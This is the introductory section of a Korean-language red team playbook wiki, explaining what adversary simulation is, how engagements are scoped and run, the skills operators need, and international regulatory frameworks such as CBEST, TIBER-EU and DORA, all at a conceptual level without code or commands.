# 레드팀 플레이북

![](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FlFVCHALimI8snzRIyiTA%2Frt-playbook-logo.svg?alt=media\&token=9d305ff2-144f-482b-a0b9-f476f264a662)

### 들어가며

레드팀 플레이북 프로젝트는 오펜시브 시큐리티 및 전반적인 정보보안과 관련된 TTP, 정보, 그리고 대응 방안을 공유하기 위해 만들어졌습니다. 사이버 보안과 관련해 영어권에서 만들어진 정보들은 많지만, 한글로 번역되거나 쓰여진 리소스들은 찾아보기 힘듭니다. IT업계에서 일하다보면 한글보다 영어가 편해진다곤 하지만, 모든 사람들이 능숙하게 영어를 읽고 쓰는 것은 아닙니다.

이 프로젝트는 부족한 한글 오펜시브 시큐리티 정보 문제를 해결하고 정보 공유를 더 원활하게 하기 위해 만들어졌습니다. 정보보안 업계 종사자들과 보안을 공부하는 학생들에게 도움이 되었으면 좋겠습니다.

### 주의사항

> 해당 프로젝트가 제공하는 모든 정보는 비상업적이고 개인적이거나 교육적인 용도를 위해서만 제공됩니다. 이 정보는 상업적 목적을 갖고 다운로드, 수정, 유통하는 등의 어떠한 방식으로도 사용할 수 없습니다.

> 해당 프로젝트는 제공된 정보에 대한 정확도, 완성도, 신뢰도를 보장하지 않습니다.

> 해당 프로젝트에 있는 모든 정보 (내용, 개념, 코드)는 이미 다른 사람들이 공개적으로 인터넷에 발표한 내용들이며, 실제 공격에 쓰일 수 없는 개념 증명(PoC)입니다. 해킹 공격으로 인한 법적인 책임은 모두 자신에게 있으며, 프로젝트 관리자는 이에 어떠한 책임도 지지 않습니다.

### 목표

* 업계 종사자들이 발표한 공격 기법을 공부하고 실습한 뒤, 대응 방안에 대해서 알아봅니다.
* 실제 공격자들의 TTP에 대해 공부하고 분석한 뒤, 이를 막는 대응 방안에 대해서 알아봅니다.
* 한국의 정보보안 커뮤니티와 업계 종사자들이 편리하게 정보를 얻을 수 있는 위키를 구축합니다.

### 세부 프로젝트

* 레드팀: 공격자 시뮬레이션 (Adversary Simulation)에 관련된 전반적인 TTP 문서화
* 블루팀: Coming Soon - 전반적인 블루팀에 관련된 지식 문서화
* 주요정보통신기반시설 취약점 분석

### 최근 추가된 페이지

[Changelog](/misc/changelog) 페이지 확인

### WhoAreWe?

업계에서 일하고 있는 현직 해커들로, 한국의 오펜시브 시큐리티 정보 공유에 기여하는 것을 지향합니다.

* [@choi](https://www.linkedin.com/in/sunggwan-choi/) - 前 Fortune 100, 現 국내 대기업 레드팀 오퍼레이터
  * [블로그](https://blog.sunggwanchoi.com/), [깃헙](https://github.com/choisg)
* [nanentp](https://github.com/nanentp) - 사이버 보안인
* [yoobi](https://www.linkedin.com/in/thisisyoobi/) - 한국에서 내/외부 모의해킹 업무를 수행하고 있습니다.
  * [블로그](https://velog.io/@yoobi/about)
* @<차가운낑깡> - Coming Soon

### 기여하는 방법

프로젝트에 기여하실 분들은 [기여하는 방법 페이지](/misc/contributions)를 확인해주시기 바랍니다.

### 기여자

해당 프로젝트에 기여해주신 모든 분들께 감사합니다.

* [@takudaddy](https://www.linkedin.com/in/takudaddy-87a4a4204/), [블로그](https://takudaddy.tistory.com/), 오탈자와 표현 수정 기여 - 감사합니다!
* [@logthink](https://namkiseung.github.io/about/), 오탈자와 표현 수정 기여 - 감사합니다!
* [@j0eun](https://github.com/j0eun), 페이지 추가 기여 - 감사합니다!

### 레퍼런스 & 크레딧 (Reference & Credits)

이 프로젝트는 다음과 같은 업계 종사자들의 연구를 기반으로 만들어졌습니다. 이 프로젝트에 있는 모든 크레딧은 이들에게 돌립니다. 레퍼런스와 크레딧은 이 [페이지](/misc/undefined)를 참고해주세요.

There is no novel research/content in this project, nor do I claim any work in project to be mine (it’s not). This project is just a collection of personal studies note that I use for personal reasons while I study others’ work. All credits go to these awesome researchers in this [page](/misc/undefined) (and many more!), not me.


# 레드팀이란

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-117c6b6162dd03a17723f156b07a46336d1836ae%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

레드팀(Red Team/Red Teaming)이라는 단어는 시간이 지남에 따라다양한 정의를 갖게 되었다. 가장 보편화된 정의들은 다음과 같다:

1. **일반적인 정의:** "같은 조직안에서 모의 적군의 입장을 갖고 현 조직내의 보안적 문제점이 무엇인지 살펴보는 팀" - 냉전 시대때의 정보기관 및 정보공동체 (Intelligence Community)에서 만들어졌다.
2. **정보보안 업계의 정의:** "대상의 관리적, 기술적 보안 및 인력, 절차, 기술 (People, Process, Technology) 등의 전반적인 현황과 부족한 간극을 평가하기 위해 실제 공격자들의 공격 라이프사이클과 전략, 전술, 절차(TTP)를 에뮬레이트(emulate), 혹은 시뮬레이트(simulate) 하는 가상의 사이버 공격 (서비스)". 요즘에는 아래 서술될 이유 때문에 공격자 시뮬레이션 (Adversary Simulation) 이라는 단어로 대체되었다.
3. **정보보안 마케팅/미디어/HR의 정의:** 포괄적인 의미에서의 오펜시브 시큐리티(Offensive Security). 오펜시브 시큐리티와 관련된 모든 개념과 정의를 두루뭉술하게 모두 일컫는 단어가 되었다.

2010년대 초반부터 정보보안 업계에서 레드팀은 #2번의 정의 - 원래 실제 공격자 라이프사이클과 TTP를 모방한 사이버 공격을 고객사에게 진행해 고객사의 보안 인력, 공격 대응 절차, 보안 통제등에 대해서 통합적인 검사를 진행하는 프리미엄/틈새(niche) 서비스 -  를 일컫는 단어였다. 2010년 중후반을 지나며 정보보안을 향한 관심이 많아지고, 다양한 HR, 미디어, 마케팅 등에서 단어의 정의를 마음대로 바꾸며 사용하는 바람에 요즘에는 #3번의 정의로 더 많이 쓰이고 있다. 국내외 막론하고 대기업들 조차 웹/모바일 모의해커를 뽑는 공고에 "레드팀 전문가 채용" 이라는 제목을 짓는 지경까지 왔기에, 원래 레드팀 서비스를 제공하고 있던 회사들과 레드티머(Red Teamers)들은 레드팀이라는 단어를 버리고 공격자 시뮬레이션(Adversary Simulation)이라는 단어를 사용하기 시작했다.

따라서 이 프로젝트의 경우도 #3번의 정의를 따라 "레드팀 플레이북" 이라는 프로젝트 명을 갖게 되었다. 사실 "오펜시브 시큐리티 플레이북" 이나, "공격자 시뮬레이션 플레이북" 이라는 이름이 더 잘 어울리겠지만, 이미 단어의 정의가 바뀌어 버렸기 때문에 그냥 "레드팀 플레이북" 을 사용하기로 결정했다.

이 글에서는 레드팀의 #2번째 정의 - 공격자 시뮬레이션(Adversary Simulation)에 대해서 알아본다.

## 모의해킹의 한계

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-22befbcf39f9a9dc365c5095617459effaf706fb%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

국내에서는 웹과 모바일 위주로 모의해킹이 이뤄지고 있지만, 전세계적으로는 내부망, 외부망, 웹/모바일, 클라우드, 스카다 (SCADA), 소셜 엔지니어링, 물리, 메인프레임 등의 다양한 모의해킹 서비스들이 제공되고 있다. 하지만 실제 공격자들은 공격을 진행할 때 세분화된 공격을 진행하지 않는다. 모바일 먼저 공격하고, 모바일 끝나면 웹앱 공격하고, 웹앱 끝나면 피싱 공격하고, 이렇게 세분화되고 순차적인 공격을 하지 않는다. 공격자들은 동시 다발적으로 공격 표면(Attack Surface)들을 공격한다. 또한, 여러개의 공격 표면을 같이 엮어 공격하거나, 1개의 공격 표면을 장악한 뒤 다른 공격 표면으로 횡적이동을 할 수도 있다. 예를 들어 피싱과 취약한 웹 어플리케이션을 통해 내부망으로 진입한 뒤, 도메인을 장악하고, 클라우드 데이터베이스 서비스에서 데이터를 훔친 뒤, 피해 기관의 모바일 어플리케이션의 백엔드 API 서버를 통해 데이터를 유출시킬 수 있다.

세분화된 모의해킹 서비스들은 기관이 갖고 있는 다양한 도메인(웹, 모바일, 클라우드, 외부망, 내부망...)들의 개별적인 보안 평가를 하는데에는 최적화 되어있다. 하지만, 모의해킹은 정작 실제 사이버 공격이 일어났을 때 보안 인력들이 어떻게 대응해야하는지, 서브 도메인들의 보안 통제가 유기적으로 이뤄지고 있는지에 대한 전반적인 평가를 하는데 사용될 수 없다. 웹 모의해킹을 통해 웹앱에서 XSS, CSRF 등의 취약점을 몇 개 찾는다고 해서 공격자들이 해당 웹 어플리케이션을 프록시 서버로 사용해 내부망에 진입한 뒤, 내부망 데이터를 웹앱의 REST API 엔드포인트들을 통해 유출시키고 있다는 것을 알 수 없는 것처럼 말이다. 개별적인 보안 평가도 중요하지만, 기관/회사의 전반적인 보안 능력을 평가하는데 있어서는 현재 업계에서 제공되고 있는 모의해킹 서비스들의 한계는 명확하다.

축구를 예를 들어 보자면, 축구를 잘하려면 슈팅, 패스, 드리블과 같은 개별적인 훈련을 하는 것이 중요하다. 하지만 그보다 더 중요한 것은 실제로 축구 경기를 뛰어보는 것이다. 어쨌든 축구를 잘하게 되려면, 11명이 한 팀이 되어서 축구를 해봐야할 것이 아닌가. 배운 훈련을 실제 상황에 적용하는 것, 팀워크, 그리고 경험은 경기를 뛰어보지 않는 이상 절대로 훈련만을 통해 쌓을 수 없는 것들이다. 월드컵이 오기전 4년 내내 슈팅, 패스, 드리블만 훈련하는 축구팀은 없을 것이다.

## 레드팀

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-ad169accf8a8079784e31515ccea44321cc51b88%2Fattack.png?alt=media" alt=""><figcaption></figcaption></figure>

그리고 블루팀이 이 연습 경기를 처음부터 끝까지 경험할 수 있도록 도와주는 서비스가 바로 레드팀 서비스다. 블루팀의 입장에서 매일 방화벽 설정, 솔루션 설정, 시큐어 코딩, 개인정보보호법, 망분리 등에 대한 일을 진행하면 그와 관련된 지식을 쌓을 수 있다. 하지만 실제로 공격이 일어날 때, 그리고 일어난 후, 수십, 수백명이 어떻게 탐지, 대응, 대처를 해야하는가는 축구처럼 연습 경기를 통해서만 알아낼 수 있다. 요즘에는 사이버 모의 훈련 이라고 해서 “사이버 레인지 (CyberRange)” 라는 가상 인프라에서 이런 훈련을 진행하기도 한다. 하지만 30\~50대의 호스트를 방어하는 사이버레인지와 실제 우리 회사의 인프라 속 수천, 수만대의 호스트와 수백개의 네트워크를 방어하는 경험은 비교가 불가능하다. 이처럼 레드팀은 타겟 기관의 블루팀이 실제 우리 기관의 인프라를 공격하는 공격자들을 어떻게 대응할 것인지에 대한 경험을 할 수 있도록 도와준다. 심지어 타겟기관의 CISO의 결정에 따라 레드팀 서비스가 진행중이라는 것을 자신의 블루팀에 알리지 않을 수도 있다. 이 경우 실제 상황과 매우 비슷한 경험을 할 수 있다.

### 목표

레드팀 서비스는 최대한 현실적인 목표를 갖고 진행된다. 예를 들어 타겟 기관이 은행이라면 백엔드 SWIFT 인프라에 접근이 가능한가? SaaS 회사라면 코드베이스를 유출할 수 있는가? 핀테크라면 카드정보를 유출할 수 있는가? 미디어/언론이라면 임원들과 기자들의 이메일 내용을 유출할 수 있는가? 일반적인 기업이라면 랜섬웨어가 실행되기 전 탐지/대응을 할 수 있는가? APT 1337 의 TTP를 모방한 공격이 들어왔을 때, 이를 탐지할 수 있는가? 등. 당연히 레드팀 서비스 중 실제 데이터를 유출하지는 않는다. 고객사측에서 더미 파일/데이터를 만든 뒤 중요 서버에 심어놓고, 레드팀이 해당 더미 파일을 찾아 유출하는 형식으로 이뤄진다. 타겟 기관의 가용성을 해치지 않는 선에서 레드팀 서비스 목표를 지정한다.

### 스코프와 규칙

가상의 사이버 공격을 시뮬레이션 하는 것이기 때문에 레드팀의 스코프와 규칙은 타겟기관의 가용성을 해치지 않는 선에서 최소한으로 적용된다. 스코프의 경우 타겟 기관의 경계 자산, 클라우드 자산, 모바일 어플리케이션, 직원 등, 사실상 기관/회사와 관련된 자산과 인력이 모두 스코프에 들어간다. 예를 들자면 클라우드 람다 함수부터 작년에 출시한 모바일 앱, 회사 1층에 있는 와이파이 AP, 안내데스크 직원 등. 이 중 당연히 가용성을 해치는 디도스나 다른 파괴적인 성향의 공격들은 제외된다.

### 과정

레드팀 서비스는 실제 공격과 흡사하게 4\~8주 동안 이뤄지며, 이 동안 특정된 공격 라이프사이클 (Targeted Attack Lifecycle)을 따른다. 공격 인프라 구축, 초기 정찰, 초기 침투, 거점 확보, 권한 상승, 내부 정찰, 횡적 이동, 지속성 유지, 미션 수행을 진행한다.

1. **공격 인프라 구축:** 실제 공격자들이 사용하는 C2 서버, 리다이렉터, 피싱을 위한 SMTP 서버, 페이로드 전달 서버 등을 구축한다.
2. **초기 정찰:** OSINT 과 외부망 정찰을 통해 타겟 기관의 외부망 자산, 클라우드 자산, (서브)도메인, 모바일 앱, 회사 조직도, 인원 현황 등에 대해서 조사한다.
3. **초기 침투:** 이메일을 통한 피싱, 전화를 통한 Vishing, 외부망 자산의 취약점, 모바일 어플리케이션 리버싱, 물리 침투 (회사 1층 공공 와이파이, 안내데스크 컴퓨터 등)을 통해 기관의 내부망, 직원의 엔드포인트, 혹은 필요한 계정 정보를 얻는다.
4. **거점 확보:** 타겟 기관의 인프라에 공격자가 조종 가능한 거점을 확보한다
5. **권한 상승 - 내부 정찰 - 횡적 이동:** 거점으로 부터 비순차적으로 권한 상승, 내부 정찰, 횡적 이동을 하며 더 많은 거점을 확보하거나, 미션을 달성하기 위한 타겟 서버/데이터에 접근한다.
6. **지속성 유지:** 블루팀이 레드팀을 발견해 격리/추방 조치를 하더라도 다시 거점에 진입할 수 있도록 지속성을 유지한다.
7. **미션 수행:** 블루팀과 조율한 최종 미션을 수행한다. 더미 데이터 유출, 가짜 랜섬웨어 배포, SWIFT 인프라 접근, 데이터 조작 등이 있다.

라이프사이클을 진행하는 도중 뛰어난 블루팀을 만나면 공격이 더이상 진행되지 않는 경우가 있다. 예를 들어 초기 침투 중 피싱 이메일을 모두 파악한 직원들이 있을수도 있고, 블루팀이 재빠르게 레드팀의 비컨을 처리한 뒤 도메인을 모두 블랙리스트 하는 경우도 있을 것이다.

이처럼 정상적인 초기 공격들을 진행할 수 없다고 판단 될 경우 "Assumed Breach" - "이미 뚫렸다고 치고" 시나리오로 들어간다. 이 시나리오에서는 타겟 기관의 한 직원이 피싱에 "당했다고 치고", 특정 엔드포인트에서 레드팀의 비컨을 하나 실행 시킨 뒤 거점 확보, 권한 상승, 내부 정찰, 횡적 이동, 지속성 유지 등의 단계들을 평가한다. 레드팀 서비스는 대부분 4주 \~ 8주의 긴 시간 동안 이뤄지기 때문에 초기 정찰 및 초기 침투가 2\~3번정도 실패하게 되면 8주 내내 초기 침투만 평가할 것은 아니기 때문에 그 다음 단계인 Assumed Breach로 넘어가 고객사의 다른 대응 절차나 보안 통제들을 평가한다.

### 최종 결과물

레드팀 작전 기간이 모두 끝나면 레드팀과 타겟 기관의 CISO는 블루팀에게 연락해 레드팀 작전의 존재를 알린다. 그 뒤, 디브리핑 시간을 갖으며 어떤 공격들을 실행했는지, 블루팀은 어떤 공격을 탐지하고 이에 어떻게 대응했는지 등에 대해 서로 알아보는 퍼플팀 시간을 갖는다. 레드팀은 공격 탐지와 우회, 대응과 대처, 블루팀이 구축한 대응 절차들의 효과적이였던 점과 부족한 간극 등에 대해서 자세하게 보고한다. 모의해킹은 아니지만, 그래도 레드팀 서비스 중 발견한 잘못된 설정 (Misconfiguration)이나 취약점들 또한 모두 취합해 보고한다. 마지막으로 이 모든 정보를 문서화한 레드팀 리포트까지. 이 모든 것들이 레드팀 서비스의 최종 결과물이 된다.

## 누가 레드팀 서비스를 받아야할까?

레드팀 서비스 자체가 프리미엄/틈새 서비스이기 때문에 세상 모든 고객사들을 상대로 레드팀 서비스를 진행할 수는 없다. 예를 들어 10인 중소기업이 레드팀 서비스를 받는 것은 말이 안될 것이다. 따라서 다음과 같은 보안적 수준에 도달한 기업들은 레드팀 서비스를 받는 것을 고려해볼법하다:

1. 회사내 지정된 IT팀과 보안팀이 존재한다
2. 정기적인 웹, 모바일, 외부, 내부 모의해킹 서비스를 받고 있으며, 왠만큼 치명적인 취약점들이 더이상 발견되지 않는다
3. 실제로 보안, IT, 개발 팀들이 발견된 취약점들을 능동적으로 고치고 있다
4. 취약점 스캐너를 정기적으로 사용하거나, 관련된 서비스를 받고 있다
5. 회사 및 업계를 노리는 APT 그룹 및 공격이 존재한다. 혹은, 실제로 공격을 받았던 적이 있다
6. 회사의 가장 중요한 자산이 뭔지 특정할 수 있으며, 이를 보호하거나 모니터링 하는 프로세스가 존재한다. 하지만 이를 시험하고 싶다

위 요소들을 어느정도 충족하는 고객사는 매우 찾기 어렵다. 따라서 레드팀은 아직까지 프리미엄/틈새 (niche) 서비스로 취급된다. 레드팀 서비스는 다른 오펜시브 시큐리티 서비스들을 보완해주는 프리미엄 서비스지, 절때로 모의해킹이나 취약점 점검을 대체하는 “더 우월한” 서비스는 아니다.

## 시장 트렌드

레드팀 서비스는 2010년대 초중반부터 업계에서 서비스 되기 시작했다. 처음에는 극소수의 민간 기업들만 서비스를 이용했지만, 점점 정보보안에 투자를 하는 기업들이 많아짐에 따라 레드팀의 수요는 지속적으로 늘어났다. 이후 2018년도때 유럽 중앙 은행 (European Central Bank) 에서는 각 유럽 은행들이 어떻게 레드팀 서비스를 받아야하는지 등을 포함한 TIBER-EU (Threat Intelligence-based Ethical Red Teaming) 등의 프레임워크를 발표하기도 했다. 개인적으로 아는 학교 선/후배, 회사 동료, 컨퍼런스에서 만난 다른 오펜시브 시큐리티 테스터들 또한 자신들의 기업에서 레드팀 서비스가 지속적으로 수요가 늘어나고 있다고도 한다. 정보보안에 관련된 투자가 증가하고, 더 많은 기업들이 제대로된 보안팀과 방법론들을 구축하며 더 복잡한 레드팀 서비스를 받으려고 하는 것은 어찌보면 당연해 보인다.

단, 레드팀은 모의해킹과는 다르게 레드팀 서비스를 권유/강요/강제하는 법, 규제, 그리고 컴플라이언스가 딱히 없다. 모의해킹 서비스의 경우 아무리 고객사들이 보안에 신경을 쓰지 않는다고 해도, 어느정도 모의해킹을 받으라고 강제하는 법과 컴플라이언스들이 있기 때문에 모의해킹 서비스를 받는 경우가 많다. 그러나 레드팀 서비스의 경우 정말 보안에 신경을 쓰는 고객사가 아니라면 "굳이" 받을필요는 없는, 말 그대로의 프리미엄/틈새 서비스다. 그렇다보니 상대적으로 정보보안에 신경을 쓰지 않는 기관/회사들의 경우 레드팀 서비스를 이용하기 보단 최소한의 모의해킹만 간단하게 실행하는 경우가 많다.

그렇다보니 경기가 좋고 회사 예산에 여유가 있을 때는 레드팀 서비스를 받으려고자 하는 기업들이 많지만 (코로나 전후의 2018\~2022년), 경기침체(2023\~)를 지날 때는 레드팀 보단 간단한 모의해킹만 받으려고 하는 기업들이 많다. 정보보안이 전반적으로 경기에 영향을 많이 받는 것은 사실이나, 레드팀의 경우 법, 규제, 컴플라이언스의 부재로 인해 그 영향을 더 많이 받는다.

## 필요 지식

이 섹션은 필자 본인을 위해 만든 섹션이기 때문에 다음 섹션으로 넘어가도 된다.

다음은 2023년 기준으로 레드팀 오퍼레이터가 알고 있고, 다뤄야 할 줄 아는 지식들이다. 물론 정보보안답게 Show, Don't Tell 로써, 그저 아는 것이 중요한게 아니라 직접 그 지식을 적용할 줄도 알아야한다.

| 단계                                              | 설명                                                  | 지식                                                                                                                                   | 기술 스택                                                                                                    |
| ----------------------------------------------- | --------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------- |
| 1. 공격 인프라 구축                                    | 레드팀의 처음부터 끝까지 모든 공격 활동을 할 인프라를 재사용 가능하도록 구축한다       | 도메인 구입, 도메인 분류, 도메인 에이징, C2 서버 구축, 리다이렉터 구축, 피싱 SMTP 구축, 피싱 릴레이 구축, 이메일 SPF, DKIM, DMARC 적용, 작전보안 (OPSEC)                            | Ansible, Terraform, ( Packer), CrossPlane, Bash scripting, Powershell, cloud providers (AWS, Azure, GCP) |
| 2. 초기 정찰                                        | 타겟 기관의 공개적으로 접근 가능한 모든 자산들과 인력들에 관련된 정보를 수집한다       | 직/간접 외부 자산 정보수집, OSINT, Social Engineering, 모바일 어플리케이션 리버싱, 외부망 모의해킹, Cloud                                                          | N/A, 각 지식에 필요한 지식 및 툴 사용 방법                                                                              |
| 3. 초기 침투                                        | 타겟 기관의 내부망 안의 엔드포인트, 외부 자산, 혹은 계정 정보등을 침투하거나 획득한다   | 피싱, Vishing, 페이로드 생성, 방어 우회, 소셜 엔지니어링, C2 서버 설치 및 운영, Malleable C2 Profile, 현존 페이로드 난독화, 현존 페이로드 조작 (User-Defined Reflective Loader) | C, C++, Rust, Powershell, .NET (C#, Boolang), VBScript, Payload Obfuscation, Creating Maldocs            |
| <ol start="4"><li>거점 확보</li></ol>               | 초기 침투로 얻어낸 엔드포인트 / 유저 계정을 이용해 레드팀 작전을 할 거점을 확보한다    | 로컬 정보 수집, 윈도우/리눅스/클라우(AWS, Azure, GCP) 권한 상승, 네트워크 기반/인-메모리 기반/User Identity기반 방어 우회, 지속성 유지 확보                                      | Windows/Linux Internals, Cloud internals & enumeration, AV/EDR Solution Internals, Persistence           |
| <ol start="5"><li>권한 상승, 내부 정찰, 횡적 이동</li></ol> | 확보한 거점으로부터 목표 지점까지 반복적으로 권한 상승, 내부 정찰, 횡적 이동을 실시한다. | 액티브 디렉토리 정찰 + 권한 상승 + 횡적 이동, 클라우드, AAD (Azure AD)                                                                                    | N/A                                                                                                      |

쉽지 않다. 위에 적혀있는 분야 중 한 분야만 잘 다뤄도 취업하는데 걱정이 없는데 (클라우드, 프로그래밍 언어, OS Internals, Active Directory, AAD, DevOps, 등), 이 모든 걸 다 알아야 하고, 이 모든 걸 다 실전에서 적용할 수 있어야한다. 따라서 레드팀의 경우 모의해커 경력이 5년, 10년 이상차가 되어도 엄두도 못내는 분들이 많다.

### 마치며

레드팀 서비스는 단순히 컴플라이언스 자격 요건을 충족시키기 위한 서비스가 아니라, 기관의 보안 인력과 대응 절차를 전반적으로 평가하고 개선점을 찾아내기 위한 서비스다. 최근 들어 보안에 진심을 보여주고 있는 기관과 기업들의 비중이 크게 높아지고 있다. 더이상 세분화된 모의해킹들은 이들의 보안에 관련된 열정을 충족시켜주기엔 부족하다. 국내에는 아직 레드팀/공격자 시뮬레이션 서비스가 많이 없는 것으로 알고 있다. 이 글을 통해 더 많은 보안 전문가들이 레드팀 서비스에 대해서 알았기를 바라며, 훌륭한 Red Teamer가 되기 위한 공부를 하기 위해 글을 줄인다.

Happy Hacking!

## 레퍼런스

{% embed url="<https://blog.sunggwanchoi.com/kor-what-is-red-team-in-infosec/>" %}


# 레드팀 글로벌 동향 (2024)

## 들어가며

<figure><img src="https://blog.sunggwanchoi.com/content/images/2024/03/sword.png" alt=""><figcaption></figcaption></figure>

레드팀(공격자 시뮬레이션)에 관련된 얘기를 나누다보면 가장 많이 받는 질문들은 다음과 같다.

1. 레드팀이 뭐예요?
2. 다른 나라들은 어떻게 하고 있나요?

1번에 대한 답은 이미 [레드팀이란?](https://www.xn--hy1b43d247a.com/what-even-is-redteam) 이라는 글에 정리해놨다.

2번과 관련된 이야기를 나누다보면 결국 다른 나라들의 레드팀에 관련된 평가 체계, 프레임워크, 법, 컴플라이언스에 대해 설명하게 된다. 모의해킹이야 서비스를 제공한지 20년이 지나며 이제는 `취약점 점검 및 조치` 등의 항목으로 다양한 법과 컴플라이언스에 포함되어 가고 있지만, 레드팀은 과연 어떨까? 이 글에서는 레드팀과 관련된 평가 체계, 프레임워크, 그리고 법률들을 통해 전세계적으로 공격자 시뮬레이션이 어떻게 받아드려지고 있는지에 대해 알아본다. 글로벌 동향을 살펴보며 다른 나라들은 어떤 방안들을 내놓고 있는지, 왜 이런 방안들이 나오게 되었는지, 구체적으로 어떤 내용을 포함하고 있는지, 공공과 민간에서는 이를 어떻게 받아드리고 있는지, 그리고 마지막으로 국내 상황은 어떤지에 대해 살펴본다.

### 목차

1. 글로벌 동향
2. 왜? - 레드팀 평가 체계, 프레임워크, 법률이 만들어진 이유
3. 무엇을? - 레드팀 평가 체계, 프레임워크, 법률의 내용
4. 어떻게? - 실무에서 방안들이 어떻게 활용되고 있는가
5. 국내 상황
6. 마치며

`레드팀 프레임워크` 라는 표현이 자주 나올텐데, 아래의 정의를 참고한다.

* **레드팀 프레임워크:** 레드팀 프레임워크는 레드팀 서비스 실행에 있어 필요한 주요 용어, 단계, 방법론, 활동, 결과물, 상호작용 방법을 체계화한 가이드라인이다. 레드팀의 정의를 제공하며, 해당 서비스를 이용하려는 기관이나 기업에게 구체적인 수행 방법론을 제시한다. 특히 영국과 유럽에서는 단순한 방법론을 넘어 위협 인텔리전스 공급자와 레드팀 제공 업체 및 개인의 자격 요건, 그리고 해당 업체들을 선정하는 방법 및 계약을 맺고 프로젝트를 실행하는 방법에 이르기까지 포괄적인 가이드라인들을 일컫는다.

## 1. 글로벌 동향

<figure><img src="https://blog.sunggwanchoi.com/content/images/2024/03/earth.png" alt=""><figcaption></figcaption></figure>

### 유럽 연합, 홍콩, 싱가포르, 사우디아라비아

영국과 유럽 연합을 필두로 한 서구권에서는 2010년대 중후반부터 레드팀(Red team(ing)), 위협 주도 침투 테스트(Threat Led Penetration Testing, TLPT), 혹은 인텔리전스 기반 고급 침투 테스트(Intelligence-Led/Based Advanced Penetration Testing) 등의 다양한 명칭으로 레드팀/공격자 시뮬레이션에 관련된 프레임워크와 규정들을 개발했다. 많이 알려진 TIBER-EU 부터, 최근에 만들어진 FEER, 그리고 아예 법안으로 제정된 DORA까지, 유럽 연합 국가들과 영국, 싱가포르, 홍콩, 사우디아라비아 등 약 20개국에서는 아래와 같은 레드팀 프레임워크 및 규정들을 운영하고 있다. 아래 표의 이름을 클릭하면 각 문서들로 링크를 해놨으니 원문이 궁금하다면 참고한다.

| 이름                                                                                                                                                                         | 종류    | 연도         | 발의 기관                                                     | 적용 나라                                                                               |
| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----- | ---------- | --------------------------------------------------------- | ----------------------------------------------------------------------------------- |
| [CBEST](https://www.bankofengland.co.uk/financial-stability/operational-resilience-of-the-financial-sector/cbest-threat-intelligence-led-assessments-implementation-guide) | 평가 체계 | 2014       | 영국 중앙은행 (영란은행)                                            | 영국                                                                                  |
| iCAST                                                                                                                                                                      | 프레임워크 | 2016       | 홍콩 금융 관리국                                                 | 홍콩                                                                                  |
| [GBEST](https://www.crest-approved.org/membership/gbest/)                                                                                                                  | 평가 체계 | 2017\~2018 | 영국 정부                                                     | 영국                                                                                  |
| [AASE](https://abs.org.sg/docs/library/abs-red-team-adversarial-attack-simulation-exercises-guidelines-v1-06766a69f299c69658b7dff00006ed795.pdf)                           | 프레임워크 | 2018       | 싱가포르 은행 협회(ABS)                                           | 싱가포르                                                                                |
| [TIBER-EU](https://www.ecb.europa.eu/pub/pdf/other/ecb.tiber_eu_framework.en.pdf)                                                                                          | 프레임워크 | 2018       | 유럽 중앙 은행(ECB)                                             | 프랑스, 독일, 이탈리아, 스페인, 스웨덴, 네덜란드, 오스트리아, 벨기에, 덴마크, 핀란드, 아이슬란드, 아일랜드, 룩셈부르크, 노르웨이, 포르투갈 |
| [FEER](https://uploads-ssl.webflow.com/59d28ad983887e000196f803/5fecc27919c71c17d5a10851_Financial%20Entities%20Ethical%20Red%20Teaming%20Framework.pdf)                   | 프레임워크 | 2019       | 사우디아라비아 통화청                                               | 사우디아라비아                                                                             |
| [STAR-FS](https://www.bankofengland.co.uk/financial-stability/operational-resilience-of-the-financial-sector)                                                              | 프레임워크 | 2024       | 영국 중앙은행                                                   | 영국                                                                                  |
| [DORA - Article 26,27](https://www.digital-operational-resilience-act.com/Article_26.html)                                                                                 | 법안/규정 | 2023/2025  | 유럽 은행 당국(EBA), 유럽 보험 및 직업 연금 당국(EIOPA), 유럽 시장 관리 기구(ESMA) | 모든 유럽 연합 국가                                                                         |

가장 눈에 띄는 것은 영국이다. 영국은 무려 2014년도부터 CBEST 위협 인텔리전스 주도 평가(Threat Intelligence-Led Assessments)를 만들어 영국 중앙은행(BoE), 건전성감독청(PRA), 금융행위감독청(FCA) 등의 기관이 금융 관련 기관/기업 및 인프라 운영 업체들의 보안을 평가하는데 사용했다. CBEST가 금융쪽에 자리잡기 시작하자 이를 기반으로 GBEST라는 새로운 평가 체계를 만들어 영국의 정부 부서에 적용하기도 했다. CBEST와 GBEST는 추후 유럽 중앙 은행의 TIBER-EU 프레임워크를 제작하는데 많이 참고되었다고 한다.

TIBER-EU는 위협 인텔리전스 기반 윤리적 레드팀 운용 프레임워크이며, 금융 인프라 및기관들의 사이버 공격에 대한 회복력을 시험하고 향상시키는데 사용되고 있다. TIBER-EU는 금융쪽에서 레드팀 서비스를 받기 위해 필요한 주요 용어, 단계, 활동, 방법론, 결과물 및 상호작용 방법을 체계화한 가이드라인이다. 제작된 이후 많은 나라들에 적용되었으며, 각 나라마다 기본 TIBER 프레임워크를 조금씩 변형해 운영하고 있다. 예를 들어 프랑스는 TIBER-FR, 스페인은 TIBER-ES, 독일은 TIBER-DE 를 자체적으로 만들어 운영중이다.

### CREST

<figure><img src="https://blog.sunggwanchoi.com/content/images/2024/03/image.png" alt=""><figcaption></figcaption></figure>

